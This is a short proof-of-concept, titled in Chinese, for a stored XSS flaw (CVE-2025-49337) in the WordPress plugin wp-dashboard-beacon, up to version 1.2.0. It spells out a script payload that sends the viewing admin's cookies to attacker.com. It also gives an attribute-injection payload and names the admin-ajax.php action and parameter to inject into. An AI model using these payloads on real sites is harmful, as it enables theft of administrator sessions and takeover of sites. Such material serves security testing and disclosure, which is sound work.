CVE-2025-49337: wp-dashboard-beacon插件存储型XSS漏洞

// CVE-2025-49337 Stored XSS PoC // Target: wp-dashboard-beacon plugin <= 1.2.0 // Attacker payload to inject (stored in database) const maliciousPayload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // PoC: XSS payload injection // This payload will be stored and executed when viewed by admin const xssPayload = '" onmouseover="alert(document.cookie)" x="'; // Example HTTP request to trigger the vulnerability // POST /wp-admin/admin-ajax.php // Action: wp_dashboard_beacon_save_settings // Data: beacon_content=[malicious_xss_payload] // After successful injection, the XSS will execute when admin visits dashboard console.log('CVE-2025-49337 PoC - Stored XSS in wp-dashboard-beacon'); console.log('Payload: ' + xssPayload); console.log('Target Version: <= 1.2.0');